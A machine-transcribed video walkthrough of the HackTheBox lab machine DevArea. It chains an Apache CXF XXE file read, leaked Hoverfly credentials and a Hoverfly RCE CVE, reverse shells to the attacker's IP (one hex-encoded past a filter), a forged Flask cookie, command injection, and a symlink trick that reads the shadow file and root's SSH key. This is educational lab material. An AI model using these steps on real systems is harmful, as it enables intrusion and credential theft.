HackTheBox - DevArea
Transcript
Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.
What's going on YouTube? This is Ippsec, and today we'll be doing DevArea from Hack The Box, which is a box you need really good recon for because there's two pits you can easily fall into and waste a lot of time. It starts off with analyzing a jar file, which sounds simple enough because you can decompile it to get the source code, but because you have source code, it's easy to dig into it looking for some type of custom vulnerability, but it's a CVE within the libraries this application uses. Once you get a shell, you can see it's possible to run a script with sudo. So, it's very easy to just go play with all the functions trying to get root directly. However, if you don't take a step back and look at what's running on the box, you'll miss a second user you can pivot to, and this user is critical for laying a trap that the first user can then abuse that sudo script in order to get root. So, with all that being said, let's just jump in. As always, we're going to start off with an Nmap.
So, -sC for default scripts, -sV enumerate versions, --reason to give me things like the TTL, -oA output all formats plain the Nmap directory and call it DevArea, and then the IP address of 10.129.244.208. This can take some time to run, so I've already ran it. Looking at the results, we have just six ports open, the first one being FTP on port 21, and it does say anonymous FTP is allowed, and we have a pub directory. So, really quick, I just want to go ahead and take a look at this directory. So, 10.129.244.208. I'm going to log in with anonymous. I was going to do anonymous anonymous, but it looks like it let me in after one.
Let's just go CD pub, DIR, and I'm going to do a get on this file. We're not going to take a look at it just yet, but uh wait, what? Get.
I probably type wrote it. Yep, there we go. Uh let's so exit that, and let's see what else we have. So, the next thing we have is SSH. That is an Ubuntu server. That's on port 22. Let's see, we have HTTP on port 80. The banner tells us it's devarea.htb. So, I'm going to go ahead and add this to my host file really quick. So, let's do a sudo vi /etc/hosts. Then we can say what is it? 10.129.244.208 devarea.htb. Save that. And let's see. So, that is just an Apache web server. The next thing we have is Jetty and it's giving us the version. It's also looks like a date time stamp here. So, 2020 February 27th.
So, most likely this is really out of date because it is 2026. This is 6 years old. So, that is definitely interesting. Then we have a Go lang web server on port 8500. And let's see what else do we have. Uh port quad eights. This looks like maybe is this really Go lang stuff?
This is saying Go IPFS or InfluxDB. Um let's see. If we do a curl, is it dash capital A? I forget it. I think I for um to see like just the banners. So, let's just go 10.129.244.
208 quad eight. And let's see that is not telling us the server banner. What was it? 8500 as well. No. So, I'm not sure exactly why it's saying Go lang. Maybe it's just saying Go lang because of the port and it's not fully confident on that. So, I'm not going to put too much effort into that. Um let's see. Does this actually say Go lang? Oh, wait. This has a hoverable a hoverfly dashboard. 8888 200. Maybe it is, maybe it's not. Um let's see. 10.129.244.208 That's going to direct us to this website. Clicking around, none of these links appear to work. If I look at login, it still goes nowhere. Register goes nowhere. Browse jobs, find talent, everything is uh going nowhere.
So, the other port was what? 8080? This is going to be that Jetty port. We just have a 404 not found. Uh let's see, port quad eight. This is Hoverfly. Nothing too interesting here. We have logins, but no real credentials. I'm thinking right now maybe credentials could be hardcoded in that JAR file we just downloaded. So, maybe that. Let's see, 8500 is just a proxy server. It does not respond. Uh so, let's go ahead and take a look at this uh JAR file. So, I'm going to run Jadx on employee service.jar.
Um let's see. Oh, shoot.
Jad is weird. It's using like my um Let's see, which Jadx? It's setting the directory to like user bin Jadx before it actually runs. Um there's like an out file. Let's see. Rename. What do we do? Out? -d. So, let's do Jadx.
pwd then -d. Uh let's do pwd/source. It's probably going to say source doesn't exist. Maybe we created it beforehand. Looks like we did. There we go. So, now it is decompiling this JAR file. Once it's done, we can open it up and like Visual Studio Code or whatever IDE you want. I'm going to use Visual Studio Code cuz I have things like sneak already installed. So, that's going to help me greatly when it comes to just analyzing this, right? Cuz it's going to have its own code scanner and things like that, which will tell me hardcoded passwords, um just a bunch of things, right? Uh the other thing we have to keep in mind, um this is a Java file. The Jetty version was 6 years out of date. So,
it could also be a library vulnerability, right? So, looking at this, I do know that this open source security is going to fail because I don't have Maven installed. And I wanted to see um how we can find this out easily. Let's see. Um Sure, copy, close.
I think I honestly just pasted some of these error messages into claw. And it kind of tells me Let's see. Oh, here we go. It's trying to find Maven Jetty pom.xml. It fails. Standard error out. So, if I ran like sudo apt install Maven, that's going to install this tool, and then that will help me. Whenever you see like a code scanner failing, it's always a good idea to just look into it a little bit to try to um make it happy, right? Uh it doesn't really help us too much here, but just seeing this sucks. Um of course, sometimes like you'll get a PHP app that doesn't really use any external libraries, and open source security is going to fail there, which still is good to know, right?
So, we have a bunch of code security things, path traversal, um but I want to make sure Maven is installed. If I rerun this, is it going to pass now? Let's see. Does it fail immediately? Doesn't look like it, so I think we are good. I wasn't sure if I had to reinstall um reopen Visual Studio Code or not. Um while that goes, you could also go and like grep -r, let's see, password. It's probably going to give me a lot of things. Um let's see. Less -s, and you can kind of just eyeball this to see if there's like hard-coded credentials, things like that. But I do trust normally Snyk to be able to point those things out cuz does a good job there.
Uh you could take a look at all these to see exactly what this path reversal is.
Um, let's see. Get requested. I honestly, uh, don't know. Does it tell me what file it's even looking at? Uh, this is Apache CXF transport servlet. So, this looks like it is a library not related to the application well, related to the application, but not the app itself, right? We're in Apache CXF now. We're just looking at the code security of a lot of things. Um, the open source security when it finishes, it will tell us what version Apache CXF is, what version Jetty is, all those things that is in pom.xml. Uh, let's see. There is a lot of them. Because it has decompiled all the libraries that are used.
But, this will tell you various versions. Like, that's the purpose of what pom.xml is. It's similar to like a Python requirements file, right? We can see CXF. Uh, model 4. There we go. 3 2 1 4.
Um, I was expecting this to finish sooner.
Uh, I'm going to pause the video for like 5 minutes. I'm going to see if open source security finishes cuz I do want to show that before we go too far into this. Okay. So, the open source code security has finished and you can see there's also a bunch of issues here talking about all the vulnerabilities. If we go to the actual application, the employee service, you can still see like it's just here because it's using out of date, um, libraries. But, if we do search for these, so let's go with like Apache CXF 3 2 1 4.
Um, let's go. I'm going to do CVE details. And I'm not on Burp Suite. Good. Waiting for this to verify. I guess while it does, we can also search Google. Apache CXF, was it 3 2
14? Release date. Okay. the release nerds page here. I don't know why that's stuck. Come on. Verify. And let's see, do I see any dates? I don't see a date here, but this is an HTML file. So, I'm going to do just a guess. I'm going to try a W get against this file. And I'm going to do a stat against it.
And we can see it was modified in 2022. So, that's probably when the HTML file hit the web server. So, chances are this is probably around that date. We could also download the zip, look at the file timestamps in the zip file, and get an idea, but I am guessing this is wildly out of date. Our CVE details page has finished. So, let us now search for what is it? Apache CXF? Um nothing found?
Was it CXF? Am I questioning myself now?
Let's see. CVE details Apache CXF
I know we should be able to search for CVEs here. Here we go. And normally, I would just look at the very recent vulnerabilities. However, keep in mind Jetty was from like 2020. This CXF is at least 2022. So, I'm just going to go on the vulnerabilities page. We're going to um sort by, I guess, the CVSS score,
and then take a look. Um there is this 2022. And let's see. 2024
And oddly enough, I think these two may be the same. If you Google POCs for both of these in GitHub, they're pretty much the same vulnerability. It's It's very odd. Um I think it's just maybe they uh it's not that one. There was a 2024 actually. Um Yeah, this. So, this 2024 and this 2022 are very
similar. I think maybe they reintroduced the vulnerability and that's why we see this. Um I'm not exactly sure. I didn't dig too much into it. But, if we go over to Google, I'm going to do a little bit of research on both of these. Um POC exploit write-up. Sure.
Let's see. Do we have any that Sentinel One? Uh let's see.
Maybe exploit us. Let's go to Sentinel One. Let's go here. And where's that 2022 one?
Google exploit POC
Let's see.
This is giving us a script. I don't exactly want to use this.
cause
Again, this is just giving us a Python script. There was a blog post I am trying to find because generally I don't like just running the Python scripts in my videos. I'd rather just share the blog post and like how I try to recreate it. Because we don't learn that much when we just like follow a blog post, right? Or when we just run exploit script, we learn much more when we're following a blog post. Um
See, Apache CXF
XXE
See, what did I find?
Is this it?
Okay, maybe.
So, it's saying essentially, I think XXE and the app. Um
I don't know exactly what I was planning on showing. Sometimes it's hard to do this research and then go back. But, I'm going to take a stab at this. So, let's see. We had What is it? The port on 8080? That's going to most likely be this application. I bet if I look at the source code, we can find it listening on that. But, I know it's a Java app. I saw it running Jetty. This is powered by Jetty. So, the Java app is probably related to this. And if we look at it, it was using WSDLs, right? So, if we do find in file
WSDL, let's see. Um I kind of just want to search in sources, probably. Uh source, sources, grep {dash} r WSDL
Where is the URL?
public string
Let's try finding where this service starts up. So, HTTP dev area service starter. That sounds like a good file. Uh let's see. Okay. So, yep, it's definitely listening on 8080. And here is the WSDL, right? Uh so, if I go ahead and grab this we paste it in. Whoops. Uh, let's go back.
There we go. This is going to tell us exactly how to access the application. It's very much like an open API.json file or something like that except it's all XML and it's a pain to read XML at least as a human I think, right? So, what I generally do is use a tool like SoapUI or something like that. Uh, so let's go ahead and download this.
And we will play with it really quick. Uh, let's do download SoapUI. Uh, sure let's get the bash script. I'm going to do the very dangerous thing of just doing bash downloads uh, SoapUI. Yes. Let's go ahead and run
some blind scripts from the internet. Uh, hopefully it's safe. It looks like it is. Uh, yep. Let's save it. Sure.
I probably didn't need to install the tutorials but oh well. I like clicking next a lot without reading things except release notes. Um, we can always ignore those.
So, now it is opening. Um, yeah skip this.
Uh, let's see. Choose a method enter rest. It's been a while since I've used this. I think this endpoint could be
this WSDL, right? Send. Save. No. Close.
Uh, import. No. Soap project name dev area initial WSDL put
it here. Okay. There we go. Can I make this bigger? I don't know how to change the font size on this. But this is now going to give me
example requests, right? And this is the main thing I just wanted to get. So it's going to give me an example on how to use this. Uh submit request for specific endpoint.
I ran it. Let's see.
Let's go ahead and move this into Burp Suite cuz I'm more familiar with that. But the main thing I like using it for is just um building out the initial request and then we can play with it after that, right? So let's go ahead and turn intercept on, send this. Let's go to repeater. It's probably going to be a post request and let's go ahead and copy this body.
Paste. Send.
Okay. Awesome. So we get the response. Received report from question department question content question. So we can put like IPsec here. Uh that's confidential. Content IPsec. Boom. Awesome. So let's go ahead and look at the CVEs. So server-side request forgery.
Uh not that one.
Turn off.
ZAP include.
Let's see. So it's telling me I should be able to do this and get Etsy host. So if we put this here, what is it doing it? Uh web test arg0.
Um I don't think it really matters where we put it. Uh Hold on. Count. They're doing it within count. I'm guessing count is going to be like one of these. So, if we put it here, what happens? We get some type of unmarshaling error. So, something bad happened. Um that is a post request.
And I spent a while like trying to play with this. And oddly enough, if we look more into the vulnerability, the actual content type being multipart does matter a lot, right? We could change this to be, I think text XML is the normal one, but it still fails. Part of the issue is just when you give it this multipart content, it's going to treat it as multiple types of data, and that's where the vulnerability comes into play. Relatively hard to explain. I fully don't understand it, but when I have a exploit and it's not working exactly as I think it should, I start going back to um the payload from proof of concepts and seeing where I differ.
So, here I'm just going to make sure my payload is more similar to this. And if
we just went to GitHub and tried that POC and things like that, I think it just magically works. But here we go. We now have um some base 64, and if we decode it, we got the host file. So, we have a file disclosure from this box. Now, the really interesting Well, actually before we do that, let's convert this into a Python script. So, again, we could go to um GitHub, just build their POC, and be happy. But what I want to do
is just do this like the proof of concept did not exist, right? So, let's see. We're going to call this uh code.
I'm going to go into it. And then I'm going to do the dangerous thing and run Claude in dangerously skip permissions. You probably shouldn't do this. You should run like auto mode or whatever, but um this is a VM. I snapshotted it before I work, so I'm not that concerned about it going and screwing too much up. Uh let's see. I have this request. Paste it in. And my clipboard again is just this. Um I want a Python script that can replace
Uh where is it?
This with any file I want as arg one.
Then also I want to
display only the file back.
Which is currently encoded in base 64.
So let's see if Claude will just magically give us the script, right? It's not that hard to create something to automate automate this. The reason why I'm going to AI first is honestly, I don't know how to do um this multi-part thing in Python request off the top of my head. So I figured this may be quicker, right? I just want to see exactly what it does or what it comes up with. And maybe we'll be able to um progress faster. I'm guessing we're going to have to edit it slightly, but we'll see how it does for a one shot, right? Um Let's see. It may have just worked. So let's go ahead and try running this.
See CD code. Paste. Here we go. It works. So super easy. Um You could look at the code if you want. Again, I know some people don't like AI, but for doing simple POCs, that's probably relatively easy. I really don't mind it, right? So, this lets us automate this really easily. And one of the things I like doing when I have a file disclosure is brute forcing to get all the running processes on a box. We're going to show how you don't exactly need to do this. There's better ways to do it because it is Java and Java's weird. But, if we look at the proc system, we have all these PIDs, right? If I do proc um let's do self first, cmdline, we get Let's do cat, not ls.
Uh I expected to see bash there. Um let's do proc one cmdline. There's that. And this is essentially going to be like how things like um the PS command work, right? It reads the proc, looks at these files like uh let's see 75. cmdline ps ef What is 75?
Um
Okay, it's probably one of these weird processes. Let's go to a higher number. Um let's do proc 93729. cat proc 93 729 cmdline. There we go. Now we got that, right? So, with this, we could do a loop. So, we could say for I in Well, first, before we do that, Python 3 XXE cat proc Oh, we don't want cat. proc self cmdline And we see the cmdline of ourself. So, if we did proc one, uh can't find it. two I'm sure eventually we'd get to something, right? So, let's do for I N
sequence one through, let's say, 2,000, do Python 3 XXE proc I CMD line.
Done.
I wonder if we could say two dev null to hide errors? That looks better. So, maybe we'll get some processes there. But, Java, when you do an open command on a directory, it's relatively unique, and it reads the directory as a file with the contents of it as um
the file. On most languages, like Python, if you just do an open on a directory, it's not going to treat it as a file and give you the content listing like this. But, this lets you do cool things, like we go to Etsy, we can go into like system, is it system D, and then start looking at all the services, right? And some of these, let's see, Hoverfly was on this box, so we can look at the Hoverfly service.
And then you'll see how Hoverfly is started, and we have hardcoded credentials. Now, you could also, instead of brute forcing all the PIDs on a box, if we just do a uh {slash} proc, we can see all the existing PIDs already, right? So, we could do a grep now uh for anything that starts with a number, and that'll get us the PIDs. So, I'm going to do PIDs is equal to this. And we can say for I N uh is it just this? Do echo I. I think this is right, right? Yep. So, now we can say do Python 3 XXE
proc I cmd line
Let's go say two dev null to hide
errors. And we should start seeing various processes, right? So, this is just a much more efficient way to do this because we're looping through tons of PIDs hitting bunches and bunches of errors or we're just looking at running processes. Um I'm assuming we'll see Hoverfly start and get the admin credentials this way cuz that is um accessible. Unless may Oh, here we go. This opt Hoverfly add username, we have admin right there, password right here.
Right? So, two ways to do pretty much the same thing. Hopefully, this is all make sense, but let's now go ahead and log into Hoverfly. I'm going to close this SoapUI to save some memory.
Yes, let's exit. Yeah, I don't care about saving. Let's see. We should go on port was it 80 500? I think was Hoverfly. Uh probably quad eight if it's not 8500.
There we go. Uh let's close tabs to the right. Admin, log in. And now we are inside of Hoverfly.
The first thing I notice is we have the version leakage right here. So, let's just go and do our CVE details. I'm going to search for Hoverfly. If it doesn't pop up, I'm just going to Google Hoverfly, but there we go. We have this here. And let's see vulnerabilities.
Um I'm going to go with this one first cuz this is the highest CVE. Uh 1 1 1 3 that is the right version.
And we have a vulnerability at this endpoint. I don't see exactly how to exploit it. Um let's see references. Hoverfly service commit. Here's a security advisory.
Let's see, do they give us anything? Yes, they give us a POC. So, all we have to do is hit this endpoint with this. So, um we also need credentials, right?
So, I'm going to make this easy. I think if we open up the network tab,
it'll actually hit some endpoints for us and we can just take the headers from there. Let's see, Hoverfly. Oh, here's a request to the middleware. If we look at the headers, this is the authorization header I wanted. Let's just turn Burp Suite on.
Proxy. We can just send that to Repeater. There we go. So, we want to change the request. Where is the POC? Let's grab this.
Paste it, run it. And we get a 404. That's weird. Um let's see, this is probably application JSON. I think would be the correct MIME type. 404 not found. Um let's see, application JSON. That's looking right. But, it's a put, not a post. So, let's try changing this method.
And we got a fail to unmarshal. So, this is looking better. Um still not great.
Bin bash invalid character. What is
invalid character? Okay. length. Why does it say 101? Did it just not auto update? That's not right.
Let's see. Local host, accept language.
Well, all the headers should be correct cuz we're just grabbing it from um
the page.
Oh, wait. Maybe it's right. Maybe this failed unmarshal is fine because I'm seeing dev Ryan there. Uh so let's do an ID. Let's change the command. There we go. This is definitely the ID command. So failed unmarshal is fine. We're getting output here. Um it's just not what I expected. I expected to see like valid output or something like that. It's probably my fault for not reading the entire thing because we see failed unmarshal JSON right here. And at the end they have their user. So we have code execution. Uh we could also test it maybe if it wasn't echoing the output back, we could try something like sleep five and it'll take 5 seconds to respond.
Did not take 5 seconds. Uh user bin sleep. Um let's just try and bash.
Sleep five. There we go. So um now this seems to be working. Hopefully this has 6 seconds. Yes, it does. There we go. So now let's get a shell. Um the first thing I want to do is
we'll just try this. So do bash {dash} I dev TCP 10 10 14. What is my IP address?
Uh 171. 9001 0 and 1. I'm not really expecting this to work cuz we probably have a lot of bad characters here, but let's just see. We know we have code execution, so let's do NC LVNP 9001. Send this. It hung and we have a shell. So, it did work. We didn't need to any type of evasion at all. Um we are the user devryan. If I go to my home directory, I'm just going to add an SSH key really quick. Um so, let's go ahead and say
SSH-keygen -f. I'm going to call it dev area and then ED25519 for the format. Cat um dev area.pub. Let's get this. I'm going to add this to the host file so I can SSH in. So, let's do echo this authorized_keys. SSH -i devryan.
Uh this is actually dev area. devryan@devarea.htb.
Yes. Awesome. We are logged in. So, now if we just look at a directory, there is a um zip file we can download. So, I'm going to do SCP -i, specify my key. devryan@devarea.htb.
Uh let's download the zip. And let's see. Also, if we do sudo -l, we can see we can run the command syswatch. We can't stop the service or restart the service, but we can run the script. And if we do a cat against it, we can't see the script. Uh the script source isn't going to be in that zip file. Um if we look at this, we can't even go in that opt sys watch directory. If we do lsla on {slash} opt, we can see
sys watch has this extended permission. So, I'm going to do getfacl to view it. Um and we'll do sys watch.
We can see user has read write execute, but our user, dev Ryan, is nothing. So, this is why we can't go into it. We cat um Etsy passwd, we can see there is a sys watch user. They got no login. Let's see. I don't see anything else really. Um let's do ps ef {dash} {dash} forest to look at the running processes. And let's see, do we see anything interesting? We see the sys watch GUI. So, something is running out of this
um as the sys watch user. So, we got this application that we have no idea what it is. Um if we do a ss lntp, we can see there
is something listening on local host port quad seven. So, oh, I did a um squiggly C and I get command line disabled. So, I have not fixed SSH. And let's do sudo vi Etsy SSH
SSH_config. What is it? Like enable
It should be what? Enable escape command line, yes. Is that it?
Awesome. So, now let's listen on quad seven here, be forwarded to quad seven there. So, now I can access that port. So, if I go to 127.0.0.1, quad seven, we can see sys watch. Um we don't have any credentials. Um what was it? Admin? Where's the Hoverfly credential? PSEF grep Hoverfly We could try this credential. Doesn't work. Um Let's see. We could do a
Let's go in source 7z x
on the zip.
And let's see. Do we have any configs?
We can do a code. This will open up in Visual Studio Code. Let me close this one. See if there's any like hardcoded credentials or anything that gets us into this Python app.
Let's see. Sneak. It's going to start scanning. If we go back to our SSH CD Etsy grep-ri
syswatch We probably should hide error messages.
Let's see. What do we have? So, we got the web service.
passwd There is a syswatch.env file. And it's got a secret key and an admin password. Uh, we also have a database path, but we can't access this database cuz it's in opt syswatch. But, we could try this.
Um Work zag, no code security issues. That looks fine. Admin, paste. Invalid credentials. So, that doesn't work. Um, let's see. We got the secret key. And this is a Flask application, right? So, we should be able to uh create our own cookie. Uh so, let's see. We want to use or see if we have Flask-UnSign. I don't. What was it? UV tool install Flask-UnSign. Did I do that correct? I did. Awesome.
Flask-UnSign
And let's see. Cookie name
Where's secret? dash capital S So, we want dash capital S this.
And then we want to give it the cookie. I don't know exactly what this is yet. So, let's see exactly what the cookie should look like. We'll go into code.
Let's see. app.py
We got to find login. There we go. We got user ID and username.
And there is a DB here.
CD source syswatch
syswatch GUI SQLite3
So, the first user's going to be admin.
So, cookie user ID Was it one? Was Yeah, it was one. But it's user's ID like that. And then user
name admin There we go. So, we have a cookie. Now, Flask is default It's either session or sessions. I can't remember exactly what the default cookie name is. I'm just going to try session first cuz that is what sticks out in my head.
So, let's just do session. The path, let's put the value of that.
Refresh.
Okay. I didn't want to hit the login page, but here we go. We have now successfully logged in to Sys Watch. So, download log looks like we can potentially um download a file. There's also this check system service. I'm going to start here just because um this seems to be more likely to get a command execution thing, right? All the other ones were just um What was I going to say? Reading files? This may execute a command. We run it. Looks like it is the system CTL command we're getting a status of, right? So, exactly how does this work? We do have the app. Uh what it's service dash status.
We don't want download. App route, recompile. So, it require login.
We got system CTL status. Oops.
Let me just close some of these.
And then service here. Why didn't Sneak not find this vulnerability? It's saying code security's fine. That is definitely not fine. Um let's see. How do we get service? Method first, match.
Not exactly sure.
But that's definitely a command injection. And right now we have safe service. So we're making sure this regular expression is not in it.
Um cuz it's not safe service. So we can't use capital letters, we can't do a line break, we can't use um greater than less than, we can't use a period, uh can't use an ampersand, can't use a semicolon. Um But pipe is not here. What dollar sign? What parenthesis? So there's a few things we can use. So let's just try SSH. Uh let's do sleep one. Uh check. Looks like maybe we can't you do that. Let's send this over to Burp Suite real quick cuz maybe that is a JavaScript thing. So we are still on intercept proxy.
Why am I not intercepting localhost?
Uh there's probably a stupid Firefox config. Um What is it?
Localhost. Disable. Okay. Network proxy allow localhost hijacking.
There we go. So now we can intercept this.
So if we did service SSH, let's get a valid one real quick.
Let's see. Here we go.
Let's just put here auto scroll. That's not good enough cuz there's two of those.
Okay. So, let's try pipe sleep one. There we go. We just took 1 second. Two.
Got another second. So, now we want to get a shell. So, if we do echo um This is normally what I do like base 64 and then pipe it to bash. But, remember uppercase characters were bad, right? We did uppercase here. Um let's see. Invalid service name, right? So, base 64 is going to include that. However, there are encodings that don't do uppercase. Um my favorite would just be like hex. So, let's do echo
um bash i dev TCP 10 10 14 171 9001 0
and 1. And then we can say xxd r p. Uh we don't want we don't want dash um r. We just want dash p. Is it c 0 to put it all on one line? It is. So, we have this hex. So, we can say echo this hex xxd r p.
And now we have put the bash command there. So, now we can just do pipe over to bash and let's listen on 9001.
Send this.
And I thought we would have a shell.
We don't.
It's definitely hanging, which leads me to believe maybe I have the wrong IP.
10 10 14 171 9001.
That should be fine.
Let's see. 10.10.14. That looks fine.
I don't think we put bash here, right? That can't be.
No.
Maybe when I did SSH, maybe it's putting some data in and that's conflicting. Let's just do something that errors.
Still not.
I really expected this to work. Oh. Was it the spaces? Hold on a second.
That got me, yeah.
Let me get rid of these two spaces.
Okay. I don't know exactly what was going on, but it's working now. Um I'm assuming that can't be a valid service. Why did it go back to A? That's annoying. Hold on. I didn't get a shell anyways.
SSH That does not work. If If A, that worked. So, what I'm guessing happens is when we have a valid command here, it's probably putting Um yeah, it's putting some data here, right? So, I did the systemctl status, and then we got this pipe and
it failed because there there's data here. When we put um A, then the command failed, but the systemctl did not put data on standard out, so then we just executed this. I think when we didn't put anything, I just did a straight pipe, then this just crashed hard and then failed completely because systemctl status no pager and then no actual file here, um it just made it do something really weird. So, the issue was we needed to make this command fail and put an argument. But, now with a shell as syswatch, um
let's do python3 -c
import pty pty.spawn bin/bash then stty raw -echo foreground enter enter. There we go. Uh export term is equal to xterm, which will let us clear the screen. So, now you're probably thinking, why did I just do the Python trick there and then use regular SSH over here? The main answer is syswatch doesn't have a shell, remember? If we do grep uh syswatch on /etc/passwd, uh there's user bin no login. So, we can't drop an SSH key and login. Uh but this gives us access to the opt/syswatch directory, um so we could read files here. Doesn't really help us that much cuz we did have all the source code here, uh in that zip file, but it will make it easier because we do need access to the syswatch user to exploit something. When I originally solved the box, I just started looking at this script. I found the vulnerability and then realized I couldn't exploit it and then found a way to the syswatch user. Um I kind of didn't do that exact path with the video because I want to show analyzing the script and then immediately exploiting it. I think it's kind of weird to show, let's analyze the script. Oh, let's do a different exploit unrelated. Now, let's go back and uh complete the analysis we did 15-20 minutes ago. I just wanted to bundle it up, right?
So, let's see. If we look at this script, uh let's go to usage. How do we do this?
Uh we got some commands. Uh plugins, list plugins, logs.
Uh we want to execute it as root.
So, let's see. What are these plugins like? So, view logs. It's just going to list logs, I think. List plugins. Uh execute plugin. So, we have a safe plugin regex, so we can't do some things. Full path.
Uh we have run as root. So, if we look at the plugins that we can run as root, it is only going to be log monitor. So, the only plugin that's going to run as root is log monitor.
And then we execute it. So, where is log monitor? Reload web. We go to plugins. Look at log monitor.
Let's see. Log patterns, timestamp, alerts.
Log message. This isn't too interesting.
Log monitor.
Let's plug in view logs.
Here it is I think. Right here. We have two different things. Um Here when we're looking in list mode for view logs, we're skipping sim links.
If we are looking at the file, so here it's trying to read the file, they do a really bad way to skip sim links. So we have target, we got path, and then they're doing this awk to get the last field. And that's how they're identifying the sim link here when they actually view the file. So let's look at this. Um if we go to logs, so if we just create a pointer, let's use shadow, right? Um let's do ln {dash} s
{slash} etc. {slash} shadow. I'm going to call it pone.log. We do lsla, we see there is a pone.log it points to etc. {slash} shadow. So if we do a sudo, let's do sudo uh syswatch um logs list you don't see pone.log because
we're skipping sim links. But if we look at pone.log,
it blocks because it points to etc. {slash} shadow. If we do something that doesn't exist, we get a different error. Uh not exist. Uh file not found. Right? But how it's doing it is this ls command. So it does ls {dash} l and then awk. So I'm just going to copy this. ls {dash} l uh pone uh let's do uh
We'll do it in this one where we can see it. ls-l pone.log I've got the pipe. There we go. etc/shadow And because it has a slash in it, that is why it's being blocked. We also can't use like two periods or other directory traversals. However, what if we created another symlink? So, let's create a symlink to
we'll say please sub.log and then we're going to point it to
let's see. ln-s Oh, we have to do the file, so pone.log please sub. So, if we do ls-l, now we have please sub.log points to pone.log and pone.log points to shadow. So, if I did that ls command now, ls-l and we go to please sub.log, it's just
pone. And that is what is being checked. So, now if I tried to read
please sub.log, we got the shadow file. So, now all we have to do is redirect the shadow file. So, let's remove pone.log. I'm going to do ln-s on etc or let's do root root.text pone.log.
We can run it again and we got the root flag. Now, we could also try getting like an SSH key. So, let's do
ln-s root ssh id_rsa
pone.log
That should be fine. Run it again.
And not found.
Let's try that again. Sim link please sub to pwn. So maybe this key doesn't exist. Let's try authorized keys. pwn.log
Let's go back here. And there is a key and this is ssh-ed25519. So instead of um id_rsa let's just try reading that file. Uh not keys. Oops. Like read this. Do this. Uh that was not it. Is it ed
What is the default file for that? ssh-keygen um -t ed2 5519
id_ So that's what it should be.
Oh, I didn't have id. That's why.
So now we read this and there we go. We got the private key. And I had a feeling the private key was going to be on this box because this is where the key is generated. We have root at devarea. Devarea is the host of this box. So I'm assuming the key was generated on this box, right? The private key doesn't have to be on the box for it to be active. Just like if I go back here um now I go .ssh. If I look at this
id_ed25519.pub, you can see the host name of my box is parrot, my user is ipsec, so that's where this key was generated. So
let's go ahead and copy this.
v root paste ch mod 600 root sh -i
root@devarea.htb
And we get in as root. So, that's going to be the box. Hope you guys enjoyed it. Take care, and I will see you all next time.





